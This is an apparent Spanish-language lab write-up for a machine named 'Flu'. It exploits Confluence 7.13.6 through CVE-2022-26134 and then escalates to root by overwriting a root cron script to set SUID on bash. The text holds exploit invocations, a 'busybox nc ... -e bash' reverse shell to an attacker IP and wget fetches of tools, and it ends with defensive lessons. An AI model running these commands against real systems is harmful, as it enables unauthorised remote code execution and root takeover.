Flu
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Flu sirve Atlassian Confluence 7.13.6 en el 8090, vulnerable a una inyección OGNL que da RCE sin autenticar (CVE-2022-26134). Con ella caemos como el usuarioconfluence. Con pspy vemos que una tarea cron de root ejecuta cada minuto/opt/log-backup.sh, un script que además nos pertenece: lo sobrescribimos para poner el bit SUID abash(cron sobre script escribible) ybash -pnos da root.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo tres puertos:
ping -c 1 192.168.107.41
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.107.41PORT STATE SERVICE
22/tcp open ssh
8090/tcp open http
8091/tcp open jamlinknmap -p22,8090,8091 -sCV 192.168.107.41 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
8090/tcp open http Apache Tomcat (Confluence)
|_http-title: Log In - Confluence
8091/tcp open jamlink Aleph/0.4.6El 8091 (Aleph 0.4.6) es un servicio auxiliar poco común; no lo llegamos a investigar a fondo porque el 8090 ofrecía un camino mucho más directo: aloja un Confluence sobre Tomcat, así que priorizamos ese y dejamos el 8091 anotado por si el Confluence no diera fruto.
Confluence - TCP 8090
La pantalla de login y el pie de página identifican la versión: Atlassian Confluence 7.13.6.

Esa versión es vulnerable a la CVE-2022-26134, una de las más explotadas de 2022.

Explotación
CVE-2022-26134: inyección OGNL
Confluence evalúa expresiones OGNL (el lenguaje de expresiones de las webapps Java) que viajan en la propia ruta de la URL, con la forma /${...}/, y no en un parámetro. Al enrutar la petición, ActionChainResult.translateVariables() llama a findValue(), que evalúa esa expresión antes de comprobar la autenticación. Una expresión como /${...@java.lang.Runtime@getRuntime().exec("...")...}/ ejecuta el comando y devuelve su salida en una cabecera de la respuesta (X-Cmd-Response), todo sin credenciales (CVE-2022-26134). El exploit de jbaines-r7 (through_the_wire) monta esa petición y lanza una reverse shell:
wget https://raw.githubusercontent.com/jbaines-r7/through_the_wire/refs/heads/main/through_the_wire.py
python3 through_the_wire.py --rhost 192.168.107.41 --rport 8090 --lhost 192.168.45.211 --lport 8091 --protocol http:// --reverse-shell
jbaines-r7
CVE-2022-26134
"Spit my soul through the wire"
[+] Forking a netcat listener
[+] Using /usr/bin/nc
[+] Generating a reverse shell payload
[+] Sending expoit at http://192.168.107.41:8090/
bash: cannot set terminal process group (833): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.2$ whoami
confluenceEl exploit levanta su propio nc y la shell entra, pero llega sin control de trabajos (no job control in this shell): no hay TTY, así que ni su, ni sudo, ni edición de línea. Para trabajar en condiciones se deja Penelope a la escucha en el mismo 8091:
penelope
(Penelope)> listeners add -p 8091Y desde la shell del exploit se reconecta con busybox nc, que Penelope sí promociona a PTY:
busybox nc 192.168.45.211 8091 -e bash
(Penelope)> listeners add -p 8091
[+] Got reverse shell from flu~192.168.107.41-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
confluence@flu:/home/confluence$ whoami
confluencePenelope promociona la conexión a PTY: la shell corre como confluence, la cuenta de servicio de Confluence.
Local
cat local.txt && whoami && ip a && hostname
88ba6c239b407767aeef11db58d6f5ce
confluenceEscalada de privilegios
Cron de root sobre un script escribible
No vemos nada explotable en sudo -l, así que buscamos procesos que se ejecuten por debajo. pspy (repo) monitoriza la tabla de procesos sin privilegios y revela una tarea cron de root que se dispara cada minuto:
wget http://192.168.45.211/pspy64
chmod +x pspy64
./pspy64CMD: UID=0 PID=27681 | /bin/bash /opt/log-backup.shEl detalle clave está en los permisos del script: /opt/log-backup.sh lo ejecuta root, pero pertenece al usuario confluence, es decir, podemos reescribirlo (cron sobre script escribible). Lo sustituimos por una línea que ponga el bit SUID a bash; en cuanto salte el cron, bash quedará como SUID root y bash -p (que conserva el UID efectivo) nos da una shell de root:
ls -l /opt/log-backup.sh
echo 'chmod u+s /bin/bash' > /opt/log-backup.sh
ls -l /bin/bash
bash -p
bash-5.2$ ls -l /opt/log-backup.sh
-rwxr-xr-x 1 confluence confluence 33 Jan 24 20:20 /opt/log-backup.sh
bash-5.2$ echo 'chmod u+s /bin/bash' > /opt/log-backup.sh
bash-5.2$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1437832 Jan 7 2023 /bin/bash
bash-5.2$ bash -p
bash-5.2# whoami
rootEl script pertenece a confluence (podemos reescribirlo) pero lo lanza root: tras el cron, /bin/bash queda -rwsr-xr-x (SUID root) y bash -p abre una shell de root.
Root
cat /root/proof.txt && whoami && ip a && hostname
9aa7bc48958434a6a25465e917d52f1f
rootCadena de ataque
HTTP (8090) -- Atlassian Confluence 7.13.6
│ CVE-2022-26134: inyección OGNL -> RCE sin autenticar
▼
confluence (local.txt)
│ pspy: cron root -> /opt/log-backup.sh (escribible por confluence)
│ sobrescribir -> chmod u+s /bin/bash -> bash -p
▼
root (proof.txt)Lecciones aprendidas
- Confluence sin parchear es RCE sin autenticar. La CVE-2022-26134 evalúa OGNL en la URL; una versión visible en el login (7.13.6) fue suficiente para entrar. Los productos Atlassian expuestos deben estar al día sí o sí.
- pspy destapa lo que
sudo -lcalla. La escalada no venía de sudo ni de un SUID inicial, sino de un cron de root; monitorizar procesos sin privilegios es el reflejo cuando la enumeración estática no da nada. - Un cron de root no debe tocar ficheros de otros usuarios. El script corría como root pero pertenecía a
confluence; reescribirlo convirtió el privilegio de root en nuestro. Los scripts que ejecuta root han de ser propiedad de root y no escribibles por nadie más.